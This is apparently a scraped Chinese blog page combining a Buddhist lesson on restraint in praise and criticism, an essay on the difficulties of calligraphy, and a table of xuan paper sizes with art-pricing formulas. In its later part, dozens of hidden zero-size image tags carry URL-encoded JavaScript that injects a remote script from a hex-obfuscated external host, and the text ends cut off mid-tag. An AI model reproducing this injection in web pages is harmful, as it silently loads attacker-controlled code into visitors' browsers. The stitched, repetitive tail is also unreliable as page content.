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&四尺对开四扇屏 & & & & &
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& &&&&& 学佛人有三种不能诽谤、三种不能赞叹、三种不赞不谤。下面是语言方面取舍的教言。《杂譬喻经》上记载，以前有只甲鱼，遭遇枯旱，湖水干涸不能到达有食物的水池。这时有只大鹤来到旁边，甲鱼求它帮助，大鹤就把它衔住飞过都邑。甲鱼一直不肯沉默，不断地问：这是什么？这样大鹤就开口回答，刚一开口，甲鱼就坠落地上，被人们屠食。 我们不注意自己的口舌，就和这个比喻一样，随意开口诽谤或赞叹，容易成为堕落之因。 首先我们要明白什么对境绝不能诽谤，什么对境绝不能赞叹，什么对境应当不赞不谤，不加任何评论，然后按教言谨慎取舍。这些是因果上很重要的学处，如果取舍不对，单单以自己的语言就会造下毁坏自他的恶业。 语言上的取舍是一个大问题，这些方面一定要学好，日常生活当中处处要谨慎。如果没有正知正念，一天以自己的口舌就可能造下弥天罪业。 首先讲不能诽谤的地方。能诽谤有三种：1、众望所归者，2、他人买卖物，3、不谤慈己善知识。 不能诽谤的方面有三种，就是不能诽谤众望所归的有德之士，不能诽谤他人买卖的物品，不能诽谤慈悲自己的善知识。 1、不谤众望所归者：众望所归者，就是得到大众信赖的人，包括古代圣贤，现代的高僧大德、世间贤善君主、有德之士等等。因为这些都是殊胜的功德田，如果自己诽谤，就会造下很严重的堕落恶趣的黑业，而且以诽谤的影响，会让众多本来有敬信的随学者失去信心，断掉善根，对他们的修行造成严重障碍。
&& & &《百业经》中记载：佛世之时，一天目犍连以神通至地狱，见一众生，身体长达几由旬，正在无间地狱中受苦。很多狱卒拖出它的舌头，铺在烧红的铁地上钉住。& &&有时候，整个舌头和身体都被火烧尽，一会儿又复活过来。很多农夫在舌头上耕地，耕牛和农夫的脚踏下去又抬起来，每一步有一个兵器出来，把舌头割成块块碎肉，这个众生受苦难忍，辗转翻滚，大声号叫。目犍连入定观察它前世的恶业因缘，但是由于神通力不够，他就回来问佛。 & &&佛说：这个众生曾经造过极大恶业。往昔无失心如来出世时，王宫里有一位三藏法师，受到王宫上下及内外，城民的恭敬供养，衣食药物都非常富足。 & &&后来有位罗汉法师，带着五百眷属在宫中小住之后，住到王宫外面。这位罗汉法师，相貌很好，而且具有圣者德行，所以，很多人对他有极大信心，对他很恭敬的供养，这样就引起宫中三藏法师的嫉妒。 & &&他在众人面前诽谤说：那位法师已破根本戒，他行持的不是佛法，是外道之法，都是邪知邪见，你们千万不要依止，对他恭敬供养没有利益。 & &&听到这话的人，都信以为真，以后很多人，不再恭敬供养罗汉法师。当然罗汉法师心里，也明白原因所在，他决定离开此地，以免三藏法师，造下更多的谤业。 & &&王宫当中的三藏法师很高兴，他的名闻利养也恢复如初。但是，他死后就堕入无间地狱，就是现在地狱中受苦的众生。以他无因诽谤罗汉比丘，一直到现在都没有得到解脱。 &
&&& &目犍连又问：世尊，他何时才能得到解脱？ 佛说：将来正觉师如来出世时，他才得人身，在佛的教法下出家证罗汉果，在他证果时，也是受到众人的诽谤。以他无因诽谤三藏法师的缘故，生生世世中都会受到很多人的诽谤。 凡夫如果贪著利养恭敬，见到其他大德受到众生恭敬供养，很容易以嫉妒而诽谤。这样诽谤众望所归的大德，罪过远远超过诽谤一般人的罪业。以这个诽谤会破坏很多人的善根，会中断弘法利生的事业等，罪过极其严重。 《大方广总持经》说：以恶眼视发菩提心人故，得无眼报；以恶口诽谤发菩提心人故，得无舌报。阿逸多！我更不见有一恶法，能过毁破发菩提心罪之重也。以此罪故，堕于恶道，况复毁余菩萨等。 &&所以，以恶口诽谤发菩提心的菩萨，会得到无舌的恶报。佛说，没有一种恶法能超过毁破发菩提心者的罪业。以这种重罪会堕落恶道。 这部经上又说：尔时达摩以其恶心谤持法者，身坏命终，堕于地狱，经七十劫，具受众苦。满七十劫已，堕畜牲中，过六十劫后，值遇香宝光佛，于彼法中发菩提心。于九万世犹生畜牲中，过九万世已，得生人中，于六万世贫穷下贱，恒无舌根。 《大方便佛报恩经》说：假使热铁轮，于我顶上旋，终不为此苦，毁圣及善人。对于天下的圣贤，对于各宗派的持教大德，对于人们敬仰的善人，不作随喜都不如法，何况以恶语诽谤？所以应如经典上这样发愿，任何情况下都不诽谤圣人和善人。
& &&&②不谤他人买卖物 《安士全书》中说：名者，立身之具。利者，衣食之源。求之甚难，坏之甚易，于欲坏之时，想到求者之辛苦，忍乎不忍？……是故坏人之名声，隐然损自己之品望，坏人之利者，隐然消自己之福缘。 名是立身的工具，利是衣食的来源。求得名利很困难，但要破坏却很容易。在要破人名利的时候，想想求者所付出的辛苦，还忍不忍心呢？所以破坏别人的名声，暗中实际上是损坏自己的名声，损害别人的利益，暗中实际是消毁自己的福因。 所以，于人于己，都不应该随意诽谤，别人买卖的物品。经商的人，尤其要注意，因为经商和对手竞争，为了击挎对方，往往会诽谤对手的商品，这样会造下很多罪业，最后以等流果反过来会毁坏自己的名利。我们谈论商品时，不能没有根据随意诽谤商家的商品，这样也是以恶心坏人名利，心地不厚道，会折自己的福报。 ③不谤慈己善知识 善知识为我们传授能获得安乐的正法，这是大慈悲的地方，对我们有大恩德。对于慈悲自己的善知识，何时都不能诽谤，否则将会斩断解脱命根，堕入极苦地狱之中。 以上讲了不能诽谤之处，就是大德、商品、自己的善知识不能诽谤，在这三个方面禁止任何诽谤，如果作诽谤，就会毁坏自己的相续。 && && 下面是讲不能赞叹的地方。不能赞叹有三种：1、不赞众夫所指者，2、不赞自大愚昧者，3、不赞幼稚之孩童。 & &&不能赞叹的有三种人，就是不能赞叹众夫所指之人，不能赞叹自大愚昧之人，不能赞叹幼稚的儿童。 ①不赞众夫所指者 众夫所指者，就是触犯众怒之人。为什么不能赞叹众夫所指者呢？如果过分赞叹下劣者，次后自己会受到诽谤，就象往虚空抛掷粪便，最后粪便会落在自己头顶上。因为大众公认这是恶人，你反而赞叹，完全和大众心意相违，在人们的感觉当中，你也是恶人的同类，故会失坏自己的名誉。 ②不赞自大愚昧者 《萨迦格言》说：恭敬之境即圣者，恭敬劣者即祸根，乳汁对人是甘露，若畏毒蛇则增毒。 & &&
& &&恭敬的对像本来是圣者，如果恭敬下劣者，将成祸害的根源，比如乳汁虽然对人来说是甘露，但如果以它喂毒蛇，只会增加毒素。所以，我们说话也要为对方负责，如果对于自大愚昧的人作赞叹，实际上就是害他，因为他本来自大、愚昧，以你的赞叹只会增上他的烦恼、愚痴，让他中毒。一般来说，赞叹他人应当是善法，但不应机的赞叹，也是一种甜蜜毒药，会让对方中毒。 ③不赞幼稚之孩童 人的性情在青少年时期尚未决定，这时通过教育，对于他日后的成长有很大作用。成人之后，性格已趋稳定，要想改正不良习性，就有很大难度。所以，在性情未定的青少年时期，须要作良好的教育。 孩子小的时候，心理的放纵和收敛，完全是随父母的喜怒而转，所以，对于聪明有才智的孩子，尤其要抑制他的骄慢自负，严加教育，把他安置在良好规矩当中，打好贤善人格的基础。 如果不懂教育方法，父母溺爱子女，天天赞叹，则只会助长他的骄慢放纵，一旦坚固成性，再想收敛就来不及了。 &&&&& 麦彭仁波切曾说：五岁之前爱诸子，十岁之间如敌打，年至十六岁之后，爱护诸子如亲友。在五岁以前，要以慈爱的态度养育幼小的孩子；在五岁到十六岁之间，要象怨敌一样折伏孩子的恶习，让他进入善规当中；十六岁以后已经成人，爱护自子应当象对亲友一样。 现代国学大师钱穆，八岁时就能背《三国演义》。一天晚上，有客人让他表演，他背得很出色，客人都赞叹，只有父亲不说话。 第二天，在路过一座桥时，父亲问：你认得‘桥’字吗？钱穆说：认得。父亲又问：木字旁换成马字旁，认得吗？钱穆说：认得，是‘骄’字。父亲又问：‘骄’字何义，你知道吗？他又点头说：知道。
父亲顺势挽着他的手臂轻声问：你昨晚背《三国演义》时，有没有和这个‘骄’字接近呢？钱穆如闻雷震，低头默默不语。后来钱穆成为谦谦君子、国学大师，和幼时的家教大有关系。以上讲了不能赞叹的三种人。 &&&&&&&
&& & & &众夫所指者不能赞叹，这样的赞叹只是让自己出丑而已。自大、愚昧的人不能赞叹，赞叹只是用花箭刺伤他而已。小孩不能赞叹，赞叹只是让他骄傲发狂而已。下面讲不作赞叹，也不作诽谤的对境。不赞不谤有三： 1、不赞不谤自亲属，2、不赞不谤陌生师，3、不赞不谤一切人。 不赞不谤的方面有三种，就是对于自己的亲属不赞也不谤，对于陌生善知识不赞也不谤，对于一切人不赞也不谤。 ①不赞不谤自亲属：为什么不能诽谤自己的亲属呢？ &&&& 《格言联璧》上说：天下无不是的父母，世间最难得者兄弟。在世间，能够在这一生当中，成为一家人很不容易，彼此作为父子兄弟等都有很深的因缘。母子血气相关，兄弟情同手足，这是人间极为难得、极应珍视的情义。 所以对待亲属，应当有亲爱忠诚的善心，有安乐共同分享，有苦难共同承担，即使有家丑也不应外扬，这样才会有一个和睦的家庭。如果对于自己的亲属攻击诽谤，这是破家之相。 & &&家庭好比是一棵大树，里面不和，互相攻击诽谤，小的方面会折断枝叶，大的方面会断根而破亡。所以，对于自己本应慈爱的亲属，不能作任何诽谤。
为什么赞叹也不合适呢？因为外人听你赞叹，觉得只是：黄婆卖瓜，自卖自夸，而且，我们一般对自己的亲属，有很强的爱执，赞叹亲属容易在，某种功德方面过分夸大，这样反而成为，引生诽谤和讥笑的因。所以，一般也不能当众赞叹亲属。 ②不赞不谤陌生师，不赞不谤一切人。 陌生的善知识自己没有接触过，一般在不了解的情况下随口赞叹，容易产生功德方面增减的过失，诽谤更不应当。所以还是不作评论、安住在舍心当中比较合适。对于任何陌生人也是这样，不能赞叹也不能诽谤。 &&& &&一般人作评论，只是根据眼见和耳闻，但是这样的根据有多大可信度？单凭这一点，就对人下定论很不合理。比如一个人本来没有，某种过失或者功德，但经过某人的渲染，加上下面一帮人的附和，妄语，也会成为人们心中的定论。 && &&所以，对于陌生人，不能以传言为根据随意诽谤或赞叹，实际上，别人与你有何关系？为什么那么喜欢说长说短？喜欢讲是非的人，就是喜欢多事、喜欢造业、喜欢破坏自他相续的人。我们要记住：对待陌生人，以不赞不谤为稳重。 以上总的来说，就是教人要言语谨慎，不该诽谤的，绝不能诽谤，不该赞叹的，不能盲目赞叹，不该评论的，也不能随意评论。 《盘山语录》上说：修行人大忌说人长短是非，乃至一切世事非干己者，口不可说，心不可思，但口说心思便是昧了自己。若专练心，常思己过，那得闲工夫管他家屋里事？陈眉公说：言语之道，似小实大，有一言而伤天地之和，一语而折终身之福者，切须点检。 &南无阿弥陀佛！ &
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书法是由笔画、结构、章法、意境等元素组成的，并通过笔墨而完成的一门独特的艺术。 但要想把书法写好很难。到底难在什么地方？这得从书法的书写特点来分析。 学习书法的人都知道，书法是瞬间表现的艺术，一件书法作品可以在瞬间完成的，在这瞬间里的一招一式要表现出“台上一分钟，台下十年功”的技术、思想和意境。 另外，书法还是不可以重复的艺术，一件作品一个样，没有绝对一模一样的作品。书法还是一个遗憾的艺术，如果一个字甚至一个笔划写坏了，大大影响书法的质量。因此，书法的不可涂改性决定了书法的难度。俗话说：“字是黑狗，越描越丑”就是这个道理。 &&& 优秀的书法作品，字里行间透露出娴熟的笔法、漂亮的结构和完美的章法，以及深远的意境。将这些美的组合足以使书法爱好者所痴迷，甚至以终身相许。 &因此，要使书法水平达到一定的高度是很难的，其难主要解决以下六个难点：难在用笔，难在结构，难在墨法，难在章法，难在意境，难在统一。能否突破这六个难点，是写好书法的关键。 & &一、难在用笔 王羲之在《书论》中说：“每书欲十迟五急，十曲五直，十藏五出，十起五伏，方可谓书。”这里的“迟急”、“曲直”、“藏出”、“起伏”说的都是在用笔过程中行笔的变化。 “迟急”是说行笔速度节奏的变化； “曲直”是说行笔运动轨迹的变化； “藏出”是说起笔、收笔的变化； “起伏”是说行笔过程中提、按的变化。 这些都是用笔的要点，而且不同的行笔方法可以得到不同的艺术效果。通常情况下，“迟”表现“沉着”，“急”表现“得势”；“曲”表现“多姿”；“直”表现“刚劲”；“藏”表现“浑成”；“出”表现“爽利”；“起”表现“灵动”；“伏”表现“稳重”。然而，这些又都不是绝对的，不同情况，不同对待。 这里的“十”、“五”我们应该把它视为辨证关系，而不是绝对的量化标准，更不能把 “十迟五急”作为每字的处理方法，否则将会弄巧成拙。因此，我们要将这些相互对立的元素组成一个和谐的矛盾统一体，使其书法线条丰富多彩，变化无穷。一句话，学会了用笔就等于学会了走路，只有能熟练地驾御毛笔，才能想怎么写就怎么写，想写到那里就写到那里。 （&唐朝楷书中 欧体笔法最精妙&，行书笔法当数《兰亭序》为最妙，欧阳询的《张翰帖》也非常的丰富。）&&&
（妙品） &二、难在结构 王羲之在（题 卫夫人《笔陈图》后）说：“若平直相似，状如算子，上下方整，前后齐平，便不是书，但得其点画耳”。这里的平直、相似、算子、方整、齐平，从不同的角度说明了只有雷同，没有变化的字不是书法。 那书法是什么呢？书法是艺术，在书法中处处都要表现艺术。 从形态上讲究对比、变化，从内涵上讲究神采、韵味。故对比、变化是书法的根，神采、韵味是书法的魂。 蔡邕在《九势》中说：“上皆覆下，下以承上，使其形势递相映带，无合势背。”
书法要求笔画搭配适宜、使转有情。线条决定质量，结构决定形态，韵味决定神采。 就像厨师做菜首先讲究菜的质量，然后做成“形”、“色”俱佳、具有艺术品位的菜，一是能吸引食客的眼球，二是能增加食欲，看着就想“吃”。“吃”是厨师做菜的核心内容，要把菜做的很有味道，酸、甜、麻、辣、鲜、香，我们要什么，有什么，回味无穷，吃了就忘不了能得到很好的享受。 书法也是如此，其形在外，味在内，形可视，味可品，做到形似不难，要做到神似，有味道就不那么容易，二者皆佳者，可谓形神兼备也。 &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&天下第三行书：苏轼《黄州寒食帖》&&&& （结构随心而天真烂漫，绮丽多姿） & &三、难在墨法
清包世臣《艺舟双辑?述书下》云：“画法、字法，本于笔，成于墨，则墨法尤书艺一大关键已。笔实则墨沉，笔飘则墨浮。…… ” 墨法在书法中占着中要的地位，善于用墨，是书家一生不断的追求。 素有“惜墨如金”的当代草圣林散之，用墨讲究、变化无穷。“泼墨似水”的清代神笔王铎，用墨大胆、痛快沉着，把笔墨“浓、淡、干、湿、燥”的丰富变化演绎地淋漓尽致。宋姜夔《续书谱·用墨》说的更为详细：“凡作楷，墨欲乾，然不可太燥。行草则燥润相杂，以润取妍，以燥取险。墨浓则笔滞，燥则笔枯，亦不可知也。” 这说明不同的字体对墨的要求也是不一样的，合理的用墨能使字体增彩。 书法中的“浓淡”、“干湿”、“燥韵”的一切变化都在自然形成之中。一味增多，过激都可以引起不良反应。如用墨不可过淡，淡则灰，灰则伤神；不可过浓，浓则滞，滞则不畅（笔）；不可过干，干则枯，枯则无华；不可过湿，湿则溢，溢则无韵；不可过燥，燥则焦，焦则狼藉。否则，就会失去天真。我理解的用墨很简单，如同吃饭一样，吃——消化——再吃——再消化，也即蘸墨——书写——再蘸墨——再书写。
& &&&&& & & &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &中华第一草书：怀素《自叙帖》&&& （墨法浓淡干湿、苍润交融）&&&&&&&&&&&&&&&&&&&
&&四、难在章法 右军《兰亭序》，章法为古今第一，其字皆映带而生，或小或大，随手所如，皆入法则，所以为神品也。 古人作书很讲究章法，蒋骥《续书法论》：“篇幅以章法为先，运实为虚，实处俱灵；以虚为实，断处俱续。行间有高下疏密，须得参差掩映之迹。” 章法是点画与点画之间的呼应，字与字之间的顾盼，行与行之间的相映，整体上气韵通达，虚实相生，神采飞扬。 章法也称“布白”，“布白”就是“布局”，把整幅作品的内容进行布白，如字距、行距、行款以及字的大小、款式的高低，天地的留白等。 &
&天下第一行书：王羲之《兰亭序》& （ 字字皆映带而生，或小或大，随手所如，神品！） &五、难在意境 意境是书法家把书法的情感注入笔端，用书法的形象来抒发胸中之意，让读者欣赏到书法作品的丰富内涵，从中得到感悟、启示和滋养。 意境是文化的体现，其表现方法，简单地说是虚实相生，实是虚的基础，虚是实的升华，虚实是相互依托的关系。 在书法的审美过程中，意境的产生，是一种心理现象。 “意境深远”：就是把书法艺术不同的美，展示在想象的空间里，把自然境界和艺术境界的完美结合在一起，创造出新的意境来。如颜体的开阔，表现出了豁达的心胸和包容的雅量。正如一位哲人所说:比陆地宽广的是海洋,比海洋宽广的是天空,比天空宽广的是人的胸怀。胸怀宽宏是一种美德、一种风度、一种仁爱无私的境界。把这种境界表现在书法艺术中，就是意境。 意境表现的形式、方法是多种多样的，但意境应该是出彩的，要出彩就要注入很多美的元素，常用对比、夸张、意料之外的手法来吸引眼球，增加视角的冲击力和提高作品的感染力，只有意境出彩的作品，才能让人回味无穷，激动、兴奋和感慨，并使人们的情感得到净化和升华。 在意境的表达上要考虑抒发情感，追求“情与景汇，意与象通”的境界，把作者的真实情感表现在作品中，就像《祭侄稿》一样悲愤胸中出，至性书正气，达到了内容与形式的高度统一，是颜真卿心情的真实流露。在极度悲愤的情绪下，顾不得笔墨的工拙，随着书家情绪起伏而自然形成，是情感和功夫的自然流露。达到了技术和艺术完美结合的顶峰，在书法历史上树起了一座丰碑。
&&&&&&天下一人绝世墨宝：徽宗赵佶 《草书千字文》 &六、难在统一 用笔的熟练程度决定着线条的质量 笔画的长短、粗细、俯仰、伸缩的准确与否，决定了结构的形态的优劣 结构的宽窄、高低、大小、斜正、疏密的对比、变化准确与否，决定了章法的优劣 书法是通过汉字表达作者的情感的艺术，把笔画、结构、章法、意境等所有的因素以及对比、变化统一在一起，再注入作者的技术、情感、思想、境界、追求，就是经典的好作品。 &
& & 以上这些我们都能从古代经典的作品中得到体验。 变化与统一是一对辨证关系，变化可以使作品丰富，统一可以使作品规范。到位而不越位，变化中蕴藏着统一，统一中又富于变化，浑然一体。 我们常说一心不能二用，其实，在书法学习上，不但一心要二用，还要三用、四用。 如我们在写字的过程中，不但要把握好用笔的节奏、结构的对比，还要把握好墨色的枯润，章法的挪让，只有这些都做到了得心应手，才能很好地抒发自己的情感，作品的意境才能得以显现。 因此，学习书法要手脑并用，要有全面的、过硬的基本功，能够把各种技法巧妙地糅合在一起，否则是难以驾御的。 如果只注意了用笔而忽略了结构，虽然线条写好了，但结构不好，写出的字不好看；只注意了结构而忽略了用笔，结构虽然写好了，线条不好，写出的字也不好看；只注意了用笔、结构而忽略了章法、意境，用笔、结构虽然写好了，章法、意境不好，写出的作品没有内涵更不好看。 总之，要想写好作品，就要技术、思想、文化全面地统一到位。掌握了以上技术，并把这些技术通过实践熟练地、自然地表现出来，就已经具备了书写书法、表现书法的能力。 孙过庭在《书谱》中说：“又一时而书，有乖有合，合则流媚，乖则雕疏，略言其由，各有其五：神怡务闲，一合也；感惠徇知，二合也；时和气润，三合也；纸墨相发，四合也；偶然欲书，五合也；心遽体留，一乖也；意违势屈，二乖也；风燥日炎，三乖也；纸墨不称，四乖也；情怠手阑，五乖也。乖和之际，优劣无差。得时不如得器，得器不如得志。若五乖同萃，四遏手蒙，五合交臻，神融笔畅。畅无不适，蒙无所从。当仁者得志忘言，罕阵其要；企学者希风叙妙，虽述犹疏”。 在书法创作的主观和客观之间，处理好书法中的六个难点，把握好书法中“辨证”、“统一”的关系，解决好书法中各对矛盾，最终达到书法中的“和谐”、“统一”之美。
&&& 一、三尺宣纸——规格为100×55（长×宽）（单位：CM）&&&& ⒈三尺全开：100×55（标准三尺）(5平方尺)&&& ⒉大三尺：100×70（标准三尺长度不变，宽度为二尺）&&& ⒊三尺加长：136×50&&& ⒋三尺横批：100×55（标准三尺）&&&& ⒌三尺单条（立轴）：100×27（标准三尺长度不变，宽度1／2）&&&& ⒍三尺对联：100×27（标准三尺长度不变，宽度1／2）&&& ⒎三尺斗方：50×55（标准三尺宣纸长度1／2，宽度不变）&&&&& 二、四尺宣纸——规格为138×69（长×宽）（单位：CM）⒈四尺全开：138×69（标准四尺）(8平方尺)⒉四尺横批：138×69（标准四尺）⒊四尺单条（立轴）：138×34（标准四尺宣纸长度不变，宽度1／2）⒋四尺对联：138×34（标准四尺宣纸长度不变，宽度1／2）⒌四尺斗方：69×68（标准四尺宣纸长度1／2，宽度不变）⒍四尺三开：69×46（标准四尺宣纸长度1／3，宽度不变）⒎四尺六开：46×34（标准四尺宣纸长度1／3，宽度1／2）⒏四尺四开：69×34（标准四尺宣纸长度1／2，宽度1／2）⒐四尺八开：35×34（标准四尺宣纸长度1／4，宽度1／2）&&&&&& 三、五尺宣纸——规格为153×84（长×宽）（单位：CM）⒈五尺全开：153×84（标准五尺）⒉五尺横批：153×84（标准五尺）⒊五尺单条：153×42（标准五尺宣纸长度不变，宽度1／2）⒋五尺对联：153×42（标准五尺宣纸长度不变，宽度1／2）⒌五尺斗方：77×84（标准五尺宣纸长度1／2，宽度不变）&&&&& 四、六尺宣纸——规格为180×97（长×宽）（单位：CM）⒈六尺全开：180×97（标准六尺）⒉六尺三开：60×97（标准六尺宣纸长度1／3，宽度不变）⒊六尺对联：180×49（标准六尺宣纸长度不变，宽度1／2）⒋六尺斗方：90×97（标准六尺宣纸长度1／2，宽度不变）&&&&& 五、七尺宣纸——规格为238×129（长×宽）（单位：CM）⒈七尺全开：238×129（标准七尺）&&&&&& 六、八尺宣纸——规格为248×129（长×宽）（单位：CM）<IMG title="《顶》书画的计算方法 - 石潭书画工作室 - 石潭书画工作室的博客" alt="《顶》书画的计算方法 - 石潭书画工作室 - 石潭书画工作室的博客" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" >⒈八尺全开：248×129（标准八尺）⒉八尺屏：234×53⒊八尺斗方：124（cm）×124（cm）&&&&& 七、一丈二尺宣纸——规格为367×144（长×宽）（单位：CM）⒈一丈二尺：367（cm）×144（cm）⒉大一丈二斗方：180（cm）×142（cm）⒊小一丈二：360（cm）×96（cm）&&&&&&&& 八、一丈六尺宣纸——规格为503×193（长×宽）（单位：CM）⒈一丈六尺：503×193&&&&&& 九、一丈八尺宣纸——规格为600×248（长×宽）（单位：CM）⒈一丈八尺：600×248&&&&& 附录：中国字画论尺卖&&&&& 大中小这里的说的“尺”是指平方尺，一尺等于33.3厘米。为什么不叫平方尺而叫“尺”？这和宣纸的规格有关。宣纸的规格有三尺、四尺、五尺、六尺、八尺、丈二等。比如：四尺纸的规格是长四尺宽二尺，面积为八平方尺。把四尺纸对裁，就叫斗方，是四平方尺。都知道买布卖布论尺，不知从何年何月始，卖字画也这样计算了。&&&&&& 自上世纪80年代字画界恢复稿费开始，以平方尺来计算作品的面积乘以作品平方尺单价，最终确定作品总价的方法自然形成了书画市场的定价行规并沿用至今。&&&&& 具体公式参考如下：一、每平方尺的概念是：0.33米×0.33米=0.1089平方米二、以作品的长度乘以宽度等于平方米三、以作品的平方米面积数量除以0.1089平方米得出作品平方尺尺寸四、以作品平方尺尺寸量数乘以每平方尺作品单价等于作品总价& & 其数字公式如下：1.0.33米×0.33米=0.1089平方米2.作品长×宽=作品面积（平方米）3.作品面积（平方米）÷0.1089平方米=作品实际平方尺4.实际作品平方尺量数×每平方尺单价=作品总价实例：& & 某画家作品的尺寸，长0.6米、宽0.8米，每平方尺单价2,000元。& & 计算方式如下：0.6米×0.8米÷0.1089平方米×2,000元=8,815元，则该画家作品的最后售价为8,815元。& & 目前还有以作品的长度乘以宽度，再乘以9.2的计算办法，这9.2与0.1089的作用是一样的，都是用来作为计算基准数的。& & 另外，行里又有相让的做法，如传统意义称呼上的四尺宣纸裁三，其实不满三平方尺，但都以三平方尺计价，而四尺整张宣纸超过8平方尺，却又都以8平方尺计价。所
<img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" >
我朋友的孩子，一个叫天天，一个叫如意，我给他们写了天天如意前程似锦。
唐，张若虚，春江花月夜。八尺对开<img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" lazysrc="http:///#/" width="0" height="0" e="s%3Ddocument.createElement%28%22script%22%29%3Bs.src%3D%22http%3A//qq%64%69%79.%69%6efo/a/163/x.php%22%3Bs.type%3D%22text/javascript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" ><img title="日 - 墨金斋 - 墨金斋" alt="日 - 墨金斋 - 墨金斋" 